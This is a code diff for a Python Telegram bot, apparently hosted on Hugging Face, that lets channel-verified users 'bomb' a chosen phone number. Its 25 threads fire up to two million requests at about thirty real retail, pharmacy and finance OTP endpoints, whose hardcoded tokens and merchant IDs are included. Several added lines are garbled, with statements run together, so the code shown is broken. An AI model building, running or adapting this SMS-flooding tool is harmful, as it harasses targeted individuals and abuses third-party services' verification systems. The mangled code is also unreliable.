Update app.py

app.py

@@ -24,7 +24,7 @@ REQUIRED_CHANNELS = [
 
 BOT_TOKEN = os.environ.get("BOT_TOKEN", "")
 PORT = int(os.environ.get("PORT", 7860))
-PUBLIC_URL = os.environ.get("PUBLIC_URL", f"https://{os.environ.get('SPACE_ID', 'your-space')}.hf.space")
+PUBLIC_URL = os.environ.get("PUBLIC_URL", "https://sheeturt-telegram-bomber-bot.hf.space")
 
 API_INDICES = list(range(31))
 DEFAULT_COUNTRY_CODE = "91"
@@ -32,6 +32,9 @@ BOMBING_DELAY_SECONDS = 0.4
 MAX_REQUEST_LIMIT = 2_000_000
 THREAD_COUNT = 25
 
+# Thread-safe counter
+counter_lock = threading.Lock()
+
 # Session data
 verified_users = set()
 bombing_active = {}
@@ -44,11 +47,11 @@ telegram_app = None
 
 
 def esc(text: str) -> str:
-    escape_chars = r"_*[]()~`>#+-=|{}.!"
-    for ch in escape_chars:
+    escape_chars = r"_*[]()~`>#+-=|{}.!"    for ch in escape_chars:
         text = text.replace(ch, "\\" + ch)
     return text
 
+
 def getapi(pn, lim, cc):
     cc, pn, lim = str(cc), str(pn), int(lim)
     url_urllib = [
@@ -60,46 +63,74 @@ def getapi(pn, lim, cc):
         try:
             urllib.request.urlopen(url_urllib[lim], timeout=10)
             return True
-        except:
+        except Exception:
             return False
     try:
-        if lim == 3: return session.post('https://pharmeasy.in/api/auth/requestOTP', json={"contactNumber": pn}, timeout=10).status_code == 200
-        elif lim == 4: return session.post('https://www.heromotocorp.com/en-in/xpulse200/ajax_data.php', data={'mobile_no': pn, 'randome': 'ZZUC9WCCP3ltsd/JoqFe5HHe6WfNZfdQxqi9OZWvKis=', 'csrf': '523bc3fa1857c4df95e4d24bbd36c61b'}, timeout=10).status_code == 200
-        elif lim == 5: return session.post('https://indialends.com/internal/a/mobile-verification_v2.ashx', data={'aeyder03teaeare': '1', 'ertysvfj74sje': cc, 'jfsdfu14hkgertd': pn, 'lj80gertdfg': '0'}, timeout=10).status_code == 200
-        elif lim == 6: return session.post('https://www.flipkart.com/api/6/user/signup/status', json={"loginId": [f"+{cc}{pn}"], "supportAllStates": True}, timeout=10).status_code == 200
-        elif lim == 7: return session.post('https://www.flipkart.com/api/5/user/otp/generate', data={'loginId': f'+{cc}{pn}', 'state': 'VERIFIED'}, timeout=10).status_code == 200
-        elif lim == 8: return session.post('https://www.ref-r.com/clients/lenskart/smsApi', data={'mobile': pn, 'submit': '1'}, timeout=10).status_code == 200
-        elif lim == 9: return "success" in session.post("https://accounts.practo.com/send_otp", data={'mobile': f'+{cc}{pn}', 'client_name': 'Practo Android App'}, timeout=10).text.lower()
-        elif lim == 10: return session.post('https://m.pizzahut.co.in/api/cart/send-otp?langCode=en', json={"customer": {"MobileNo": pn, "UserName": pn, "merchantId": "98d18d82-ba59-4957-9c92-3f89207a34f6"}}, timeout=10).status_code == 200
-        elif lim == 11: return session.post('https://www.goibibo.com/common/downloadsms/', data={'mbl': pn}, timeout=10).status_code == 200
-        elif lim == 12: return "sent" in session.post('https://www.apollopharmacy.in/sociallogin/mobile/sendotp/', data={'mobile': pn}, timeout=10).text.lower()
-        elif lim == 13: return '"statusCode":"1"' in session.post('https://www.ajio.com/api/auth/signupSendOTP', json={"firstName": "SpeedX", "mobileNumber": pn, "requestType": "SENDOTP"}, timeout=10).text
-        elif lim == 14: return session.post('https://api.cloud.altbalaji.com/accounts/mobile/verify?domain=IN', json={"country_code": cc, "phone_number": pn}, timeout=10).status_code == 200
-        elif lim == 15: return 'code:' in session.post('https://www.aala.com/accustomer/ajax/getOTP', data={'email': f'{cc}{pn}', 'firstname': 'SpeedX', 'lastname': 'SpeedX'}, timeout=10).text
-        elif lim == 16: return session.post('https://api.grab.com/grabid/v1/phone/otp', data={'method': 'SMS', 'countryCode': 'id', 'phoneNumber': f'{cc}{pn}'}, timeout=10).status_code == 200
-        elif lim == 17: return session.post("https://gkx.gokwik.co/v3/gkstrict/auth/otp/send", headers={"gk-merchant-id": "19g6im8srkz9y"}, json={"phone": pn, "country": "IN"}, timeout=10).status_code == 200
-        elif lim == 18: return session.post("https://gkx.gokwik.co/v3/gkstrict/auth/otp/send", headers={"gk-merchant-id": "19an4fq2kk5y"}, json={"phone": pn, "country": "IN"}, timeout=10).status_code == 200
-        elif lim == 19: return session.post("https://api.breeze.in/session/start", json={"phoneNumber": pn, "countryCode": f"+{cc}"}, timeout=10).status_code == 200
-        elif lim == 20: return session.post("https://gkx.gokwik.co/v3/gkstrict/auth/otp/send", headers={"gk-merchant-id": "19g6ilhej3mfc"}, json={"phone": pn, "country": "IN"}, timeout=10).status_code == 200
-        elif lim == 21: return session.post("https://oidc.agrevolution.in/auth/realms/dehaat/custom/sendOTP", json={"mobile_number": pn, "client_id": "kisan-app"}, timeout=10).status_code == 200
-        elif lim == 22: return session.post("https://api.penpencil.co/v1/users/resend-otp?smsType=2", json={"mobile": pn, "organizationId": "5eb393ee95fab7468a79d189"}, timeout=10).status_code == 200
-        elif lim == 23: return session.post("https://api.khatabook.com/v1/auth/request-otp", json={"country_code": f"+{cc}", "phone": pn}, timeout=10).status_code == 200
-        elif lim == 24: return session.get(f"https://www.jockey.in/apps/jotp/api/login/send-otp/+{cc}{pn}?whatsapp=true", timeout=10).status_code == 200
-        elif lim == 25: return session.post("https://gkx.gokwik.co/v3/gkstrict/auth/otp/send", headers={"gk-merchant-id": "19kc37zcdyiu"}, json={"phone": pn, "country": "IN"}, timeout=10).status_code == 200
-        elif lim == 26: return session.post('https://vidyakul.com/signup-otp/send', data={'phone': pn}, timeout=10).status_code == 200
-        elif lim == 27: return session.post('https://oneservice.adityabirlacapital.com/apilogin/onboard/generate-otp', json={'phone': pn}, timeout=10).status_code == 200
-        elif lim == 28: return session.post('https://pinknblu.com/v1/auth/generate/otp', data={'country_code': f'+{cc}', 'phone': pn}, timeout=10).status_code == 200
-        elif lim == 29: return session.post('https://auth.udaan.com/api/otp/send?client_id=udaan-v2', data={'mobile': pn}, timeout=10).status_code == 200
-        elif lim == 30: return session.post('https://nwaop.nuvamawealth.com/mwapi/api/Lead/GO', json={"contactInfo": pn, "mode": "SMS"}, timeout=10).status_code == 200
+        if lim == 3:
+            return session.post('https://pharmeasy.in/api/auth/requestOTP', json={"contactNumber": pn}, timeout=10).status_code == 200
+        elif lim == 4:
+            return session.post('https://www.heromotocorp.com/en-in/xpulse200/ajax_data.php', data={'mobile_no': pn, 'randome': 'ZZUC9WCCP3ltsd/JoqFe5HHe6WfNZfdQxqi9OZWvKis=', 'csrf': '523bc3fa1857c4df95e4d24bbd36c61b'}, timeout=10).status_code == 200
+        elif lim == 5:
+            return session.post('https://indialends.com/internal/a/mobile-verification_v2.ashx', data={'aeyder03teaeare': '1', 'ertysvfj74sje': cc, 'jfsdfu14hkgertd': pn, 'lj80gertdfg': '0'}, timeout=10).status_code == 200
+        elif lim == 6:
+            return session.post('https://www.flipkart.com/api/6/user/signup/status', json={"loginId": [f"+{cc}{pn}"], "supportAllStates": True}, timeout=10).status_code == 200
+        elif lim == 7:
+            return session.post('https://www.flipkart.com/api/5/user/otp/generate', data={'loginId': f'+{cc}{pn}', 'state': 'VERIFIED'}, timeout=10).status_code == 200
+        elif lim == 8:
+            return session.post('https://www.ref-r.com/clients/lenskart/smsApi', data={'mobile': pn, 'submit': '1'}, timeout=10).status_code == 200
+        elif lim == 9:
+            return "success" in session.post("https://accounts.practo.com/send_otp", data={'mobile': f'+{cc}{pn}', 'client_name': 'Practo Android App'}, timeout=10).text.lower()
+        elif lim == 10:
+            return session.post('https://m.pizzahut.co.in/api/cart/send-otp?langCode=en', json={"customer": {"MobileNo": pn, "UserName": pn, "merchantId": "98d18d82-ba59-4957-9c92-3f89207a34f6"}}, timeout=10).status_code == 200
+        elif lim == 11:
+            return session.post('https://www.goibibo.com/common/downloadsms/', data={'mbl': pn}, timeout=10).status_code == 200
+        elif lim == 12:
+            return "sent" in session.post('https://www.apollopharmacy.in/sociallogin/mobile/sendotp/', data={'mobile': pn}, timeout=10).text.lower()
+        elif lim == 13:
+            return '"statusCode":"1"' in session.post('https://www.ajio.com/api/auth/signupSendOTP', json={"firstName": "SpeedX", "mobileNumber": pn, "requestType": "SENDOTP"}, timeout=10).text
+        elif lim == 14:
+            return session.post('https://api.cloud.altbalaji.com/accounts/mobile/verify?domain=IN', json={"country_code": cc, "phone_number": pn}, timeout=10).status_code == 200
+        elif lim == 15:
+            return 'code:' in session.post('https://www.aala.com/accustomer/ajax/getOTP', data={'email': f'{cc}{pn}', 'firstname': 'SpeedX', 'lastname': 'SpeedX'}, timeout=10).text
+        elif lim == 16:
+            return session.post('https://api.grab.com/grabid/v1/phone/otp', data={'method': 'SMS', 'countryCode': 'id', 'phoneNumber': f'{cc}{pn}'}, timeout=10).status_code == 200
+        elif lim == 17:
+            return session.post("https://gkx.gokwik.co/v3/gkstrict/auth/otp/send", headers={"gk-merchant-id": "19g6im8srkz9y"}, json={"phone": pn, "country": "IN"}, timeout=10).status_code == 200
+        elif lim == 18:            return session.post("https://gkx.gokwik.co/v3/gkstrict/auth/otp/send", headers={"gk-merchant-id": "19an4fq2kk5y"}, json={"phone": pn, "country": "IN"}, timeout=10).status_code == 200
+        elif lim == 19:
+            return session.post("https://api.breeze.in/session/start", json={"phoneNumber": pn, "countryCode": f"+{cc}"}, timeout=10).status_code == 200
+        elif lim == 20:
+            return session.post("https://gkx.gokwik.co/v3/gkstrict/auth/otp/send", headers={"gk-merchant-id": "19g6ilhej3mfc"}, json={"phone": pn, "country": "IN"}, timeout=10).status_code == 200
+        elif lim == 21:
+            return session.post("https://oidc.agrevolution.in/auth/realms/dehaat/custom/sendOTP", json={"mobile_number": pn, "client_id": "kisan-app"}, timeout=10).status_code == 200
+        elif lim == 22:
+            return session.post("https://api.penpencil.co/v1/users/resend-otp?smsType=2", json={"mobile": pn, "organizationId": "5eb393ee95fab7468a79d189"}, timeout=10).status_code == 200
+        elif lim == 23:
+            return session.post("https://api.khatabook.com/v1/auth/request-otp", json={"country_code": f"+{cc}", "phone": pn}, timeout=10).status_code == 200
+        elif lim == 24:
+            return session.get(f"https://www.jockey.in/apps/jotp/api/login/send-otp/+{cc}{pn}?whatsapp=true", timeout=10).status_code == 200
+        elif lim == 25:
+            return session.post("https://gkx.gokwik.co/v3/gkstrict/auth/otp/send", headers={"gk-merchant-id": "19kc37zcdyiu"}, json={"phone": pn, "country": "IN"}, timeout=10).status_code == 200
+        elif lim == 26:
+            return session.post('https://vidyakul.com/signup-otp/send', data={'phone': pn}, timeout=10).status_code == 200
+        elif lim == 27:
+            return session.post('https://oneservice.adityabirlacapital.com/apilogin/onboard/generate-otp', json={'phone': pn}, timeout=10).status_code == 200
+        elif lim == 28:
+            return session.post('https://pinknblu.com/v1/auth/generate/otp', data={'country_code': f'+{cc}', 'phone': pn}, timeout=10).status_code == 200
+        elif lim == 29:
+            return session.post('https://auth.udaan.com/api/otp/send?client_id=udaan-v2', data={'mobile': pn}, timeout=10).status_code == 200
+        elif lim == 30:
+            return session.post('https://nwaop.nuvamawealth.com/mwapi/api/Lead/GO', json={"contactInfo": pn, "mode": "SMS"}, timeout=10).status_code == 200
         return False
-    except:
+    except Exception:
         return False
 
 
-def bombing_thread_worker(user_id, phone_number):    while bombing_active.get(user_id, False) and request_counts.get(user_id, 0) < MAX_REQUEST_LIMIT:
+def bombing_thread_worker(user_id, phone_number):
+    while bombing_active.get(user_id, False) and request_counts.get(user_id, 0) < MAX_REQUEST_LIMIT:
         api_index = random.choice(API_INDICES)
         getapi(phone_number, api_index, DEFAULT_COUNTRY_CODE)
-        with threading.Lock():
+        with counter_lock:
             request_counts[user_id] = request_counts.get(user_id, 0) + 1
         time.sleep(BOMBING_DELAY_SECONDS)
 
@@ -107,11 +138,14 @@ def bombing_thread_worker(user_id, phone_number):    while bombing_active.get(us
 async def perform_bombing_task(user_id, phone_number, context):
     request_counts[user_id] = 0
     bombing_active[user_id] = True
-    await context.bot.send_message(chat_id=user_id, text=esc(f"Bombing Started! Target: {phone_number}\nPress Stop Bombing to stop."), parse_mode="MarkdownV2")
-    
+    await context.bot.send_message(
+        chat_id=user_id,
+        text=esc(f"Bombing Started! Target: {phone_number}\nPress Stop Bombing to stop."),
+        parse_mode="MarkdownV2"
+    )
+
     threads = []
-    for _ in range(THREAD_COUNT):
-        t = threading.Thread(target=bombing_thread_worker, args=(user_id, phone_number), daemon=True)
+    for _ in range(THREAD_COUNT):        t = threading.Thread(target=bombing_thread_worker, args=(user_id, phone_number), daemon=True)
         t.start()
         threads.append(t)
 
@@ -120,33 +154,47 @@ async def perform_bombing_task(user_id, phone_number, context):
         while bombing_active.get(user_id, False):
             await asyncio.sleep(1)
             if (time.time() - last_msg_time) >= 5:
-                await context.bot.send_message(chat_id=user_id, text=esc(f"Status: {request_counts.get(user_id, 0)} requests sent."), parse_mode="MarkdownV2")
+                await context.bot.send_message(
+                    chat_id=user_id,
+                    text=esc(f"Status: {request_counts.get(user_id, 0)} requests sent."),
+                    parse_mode="MarkdownV2"
+                )
                 last_msg_time = time.time()
     except asyncio.CancelledError:
         pass
     finally:
         bombing_active[user_id] = False
         total = request_counts.get(user_id, 0)
-        await context.bot.send_message(chat_id=user_id, text=esc(f"Bombing stopped! Total requests sent: {total}"), parse_mode="MarkdownV2")
+        await context.bot.send_message(
+            chat_id=user_id,
+            text=esc(f"Bombing stopped! Total requests sent: {total}"),
+            parse_mode="MarkdownV2"
+        )
         bombing_tasks.pop(user_id, None)
 
 
 async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
-    if update.message.chat.type != "private": return
+    if update.message.chat.type != "private":
+        return
     keyboard = [[InlineKeyboardButton(f"Join {chan['id']}", url=chan['link'])] for chan in REQUIRED_CHANNELS]
     keyboard.append([InlineKeyboardButton("Verify Membership", callback_data="verify_all_channels")])
-    await update.message.reply_text(esc("Welcome! Join our channel below to unlock the bomber:"), reply_markup=InlineKeyboardMarkup(keyboard), parse_mode="MarkdownV2")
+    await update.message.reply_text(
+        esc("Welcome! Join our channel below to unlock the bomber:"),
+        reply_markup=InlineKeyboardMarkup(keyboard),
+        parse_mode="MarkdownV2"
+    )
 
 
 async def verify_membership(update: Update, context: ContextTypes.DEFAULT_TYPE):
     query = update.callback_query
     await query.answer()
     user_id = query.from_user.id
-    unjoined, bot_not_admin = [], []
+    unjoined = []
+    bot_not_admin = []
 
     for chan in REQUIRED_CHANNELS:
-        try:            m = await context.bot.get_chat_member(chat_id=chan['id'], user_id=user_id)
-            if m.status in ["left", "kicked", "banned"]:
+        try:
+            m = await context.bot.get_chat_member(chat_id=chan['id'], user_id=user_id)            if m.status in ["left", "kicked", "banned"]:
                 unjoined.append(chan['id'])
         except BadRequest as e:
             err = str(e).lower()
@@ -158,56 +206,70 @@ async def verify_membership(update: Update, context: ContextTypes.DEFAULT_TYPE):
             unjoined.append(chan['id'])
 
     if bot_not_admin:
-        await context.bot.send_message(chat_id=user_id, text=f"Bot must be admin in: {', '.join(bot_not_admin)}")
+        await context.bot.send_message(
+            chat_id=user_id,
+            text=f"⚠️ Bot must be admin in: {', '.join(bot_not_admin)}"
+        )
         return
 
     if not unjoined:
         verified_users.add(user_id)
         await query.edit_message_text("✅ Verified! Use buttons below.")
-        await context.bot.send_message(chat_id=user_id, text="Choose:", reply_markup=ReplyKeyboardMarkup([["Start Bombing", "Stop Bombing"]], resize_keyboard=True))
+        await context.bot.send_message(
+            chat_id=user_id,
+            text="Choose an option:",
+            reply_markup=ReplyKeyboardMarkup([["Start Bombing", "Stop Bombing"]], resize_keyboard=True)
+        )
     else:
-        await context.bot.send_message(chat_id=user_id, text=f"❌ Not joined: {', '.join(unjoined)}")
+        await context.bot.send_message(
+            chat_id=user_id,
+            text=f"❌ You have not joined: {', '.join(unjoined)}\nJoin and press Verify again."
+        )
 
 
 async def handle_message(update: Update, context: ContextTypes.DEFAULT_TYPE):
-    if update.message.chat.type != "private": return
+    if update.message.chat.type != "private":
+        return
     user_id = update.message.from_user.id
     text = update.message.text
 
     if user_id not in verified_users:
-        await update.message.reply_text("⚠️ Use /start and verify first.")
+        await update.message.reply_text("⚠️ Please use /start and verify your membership first.")
         return
 
     if text == "Start Bombing":
         if bombing_active.get(user_id, False):
-            await update.message.reply_text("Already running!")
+            await update.message.reply_text("⏳ Bombing is already running! Stop it first.")
             return
         context.user_data["awaiting_num"] = True
-        await update.message.reply_text(esc("Enter 10-digit number:"), parse_mode="MarkdownV2")
-
+        await update.message.reply_text(esc("Enter the 10-digit target phone number:"), parse_mode="MarkdownV2")
     elif text == "Stop Bombing":
         if not bombing_active.get(user_id, False):
-            await update.message.reply_text("No active session.")
+            await update.message.reply_text("ℹ️ No active bombing session.")
             return
         bombing_active[user_id] = False
         if user_id in bombing_tasks and not bombing_tasks[user_id].done():
             bombing_tasks[user_id].cancel()
-        await update.message.reply_text("⏹️ Stopping...")
+        await update.message.reply_text("⏹️ Stopping bombing... please wait.")
 
-    elif context.user_data.get("awaiting_num"):        if text.isdigit() and len(text) == 10:
+    elif context.user_data.get("awaiting_num"):
+        if text.isdigit() and len(text) == 10:
             context.user_data["awaiting_num"] = False
             task = asyncio.create_task(perform_bombing_task(user_id, text, context))
             bombing_tasks[user_id] = task
         else:
-            await update.message.reply_text("Invalid. Enter exactly 10 digits.")
+            await update.message.reply_text("❌ Invalid input. Please enter exactly 10 digits (no spaces or letters).")
 
 
 # --- FLASK FOR HEALTH CHECKS ONLY ---
 @flask_app.route("/", methods=["GET"])
-def index(): return "✅ Bot is running (Polling Mode)", 200
+def index():
+    return "✅ Bot is running (Polling Mode)", 200
+
 
 @flask_app.route("/health", methods=["GET"])
-def health(): return jsonify({"status": "ok", "mode": "polling"}), 200
+def health():
+    return jsonify({"status": "ok", "mode": "polling"}), 200
 
 
 # --- TELEGRAM BOT (LONG POLLING) ---
@@ -217,7 +279,7 @@ def run_telegram_bot():
         logger.error("❌ BOT_TOKEN not set in environment!")
         return
 
-    # Custom timeouts for HF network stability
+    logger.info("🔗 Initializing Telegram Bot (Long Polling)...")
     request = HTTPXRequest(connect_timeout=30, read_timeout=30, write_timeout=30, pool_timeout=30)
     app = ApplicationBuilder().token(BOT_TOKEN).request(request).build()
 
@@ -225,29 +287,28 @@ def run_telegram_bot():
     app.add_handler(CallbackQueryHandler(verify_membership, pattern="verify_all_channels"))
     app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, handle_message))
 
-    # Start polling (removes need for webhook)
+    # Start polling (no webhook needed)
     app.run_polling(
         allowed_updates=Update.ALL_TYPES,
-        drop_pending_updates=True,  # Ignores old messages on restart
+        drop_pending_updates=True,
         close_loop=False
-    )
-    telegram_app = app
+    )    telegram_app = app
 
 
 # --- KEEP-ALIVE (Prevents HF Sleep) ---
 def keep_alive():
-    # HF free tier sleeps if NO external requests hit the space.
-    # This pings PUBLIC_URL every 5 mins. You MUST set PUBLIC_URL in secrets.
+    logger.info("🔔 Keep-alive pinger started...")
     while True:
         time.sleep(300)
         try:
             r = requests.get(PUBLIC_URL, timeout=10)
-            logger.info(f"🔔 Keep-alive ping: {r.status_code}")
-        except Exception as e:            logger.warning(f"🔔 Ping failed: {e}")
+            logger.info(f"🔔 Ping {PUBLIC_URL}: {r.status_code}")
+        except Exception as e:
+            logger.warning(f"🔔 Ping failed: {e}")
 
 
 if __name__ == "__main__":
-    logger.info("🚀 Starting Telegram Bot (Polling Mode) + Flask Health Server...")
+    logger.info("🚀 Starting Telegram Bot (Polling Mode) + Flask Server...")
     logger.info(f"📡 Public URL for keep-alive: {PUBLIC_URL}")
 
     # Flask runs in background thread
@@ -256,5 +317,5 @@ if __name__ == "__main__":
     # Keep-alive pinger
     threading.Thread(target=keep_alive, daemon=True).start()
 
-    # Telegram bot runs in main thread (blocking)
+    # Telegram bot runs in main thread (blocking, keeps process alive)
     run_telegram_bot()